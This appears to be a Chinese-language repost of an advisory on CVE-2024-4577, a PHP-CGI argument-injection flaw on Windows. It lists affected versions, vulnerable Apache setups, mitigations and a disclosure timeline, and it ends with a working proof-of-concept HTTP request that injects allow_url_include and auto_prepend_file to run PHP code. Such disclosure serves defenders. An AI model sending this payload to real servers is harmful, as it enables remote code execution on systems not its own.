PHP远程代码执行(CVE-2024-4577 poc) – PHP CGI 参数注入
戴夫寇尔研究团队在进行前瞻攻击研究期间,发现PHP语言存在远程代码执行漏洞,基于PHP 在网站生态使用的广泛性以及此漏洞之易重现性,研究团队将此漏洞标记为严重、并在第一时间回报给PHP 官方。官方已在2024/06/06 发布修复版本,详细时程可参阅漏洞回报时间轴。
漏洞描述
PHP 语言在设计时忽略Windows 作业系统内部对字元编码转换的Best-Fit特性,导致未认证的攻击者可透过特定的字元序列绕过旧有CVE-2012-1823的保护;透过参数注入等攻击在远端PHP 服务器上执行任意代码。
影响范围
此漏洞影响安装于Windows 系统上所有的PHP 版本,详情可参照下表:
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
由于PHP 8.0 分支、PHP 7 以及PHP 5 官方已不再维护,网站管理员可参考如何确认自己易遭受攻击章节,并于修补建议找到暂时缓解措施。
如何确认自己易遭受攻击?
对于常见之Apache HTTP Server 加上PHP 组合,网站管理员可透过此文章列出之两个方式确认服务器是否易被攻击。其中,情境二也是XAMPP for Windows安装时的预设设定,因此所有版本的XAMPP for Windows 安装也预设受此漏洞影响。
在本文撰写当下已验证当Windows 作业系统执行于下列语系时,未授权的攻击者可直接在远端服务器上执行任意程式码:
繁体中文(字码页950)
简体中文(字码页936)
日文(字码页932)
对于其它执行在英文、韩文、西欧语系之Windows 作业系统,由于PHP 使用情境广泛、暂无法完全列举并排除其利用情境,因此还是建议使用者全面盘点资产、确认使用情境并更新PHP 至最新版本确保万无一失!
情境一: 将PHP 设定于CGI 模式下执行
在Apache Httpd 设定档中透过Action
语法将对应的HTTP 请求交给PHP-CGI 执行档处理时,受此漏洞影响,常见设定包含但不限于:
AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"
或
<FilesMatch "\.php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
情境二: 将PHP 执行档暴露在外(XAMPP 默认安装)
即使未设定PHP 于CGI 模式下执行,仅将PHP 执行档暴露在CGI 目录下也受此漏洞影响,常见情况包含但不限于:
将
php.exe
或php-cgi.exe
复制到/cgi-bin/
目录中将PHP 安装目录透过
ScriptAlias
暴露到外,如:ScriptAlias /php-cgi/ "C:/xampp/php/"
修补建议
强烈建议所有使用者升级至PHP 官方最新版本8.3.8、8.2.20与8.1.29,对于无法升级的系统可透过下列方式暂时缓解漏洞。
除此之外,由于PHP CGI 已是一种过时且易于出现问题的架构,也建议评估迁移至较为安全的Mod-PHP、FastCGI 或是PHP-FPM 等架构可能性。
1. 对无法更新PHP 的使用者
可透过下列Rewrite 规则阻挡攻击,请注意此份规则只作为繁体中文、简体中文及日文语系中的暂时性缓解机制,实务上仍建议更新到已修复版本或更改架构。
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
2. 对XAMPP for Windows 使用者
在撰写本文的当下,XAMPP 尚未针对此漏洞释出相对应的更新安装档,如确认自身的XAMPP 并无使用到PHP CGI 之功能,可透过修改下列Apache Httpd 设定档以避免暴露在漏洞中:
C:/xampp/apache/conf/extra/httpd-xampp.conf
找到相对应的设定行数:
ScriptAlias /php-cgi/ "C:/xampp/php/"
并将其注解:
# ScriptAlias /php-cgi/ "C:/xampp/php/"
漏洞报告时间轴
2024/05/07 – DEVCORE 透过PHP 官方漏洞通报页面回报此问题。
2024/05/07 – PHP 开发者确认漏洞并强调要尽快修复。
2024/05/16 – PHP 开发者释出第一版修复并寻求建议。
2024/05/18 – PHP 开发者释出第二版修复并寻求建议。
2024/05/20 – PHP 进入新版本发布准备。
poc
POST /test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
HOST: x.x.x.x
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
参考资料
https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8
https://www.kb.cert.org/vuls/id/520827
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/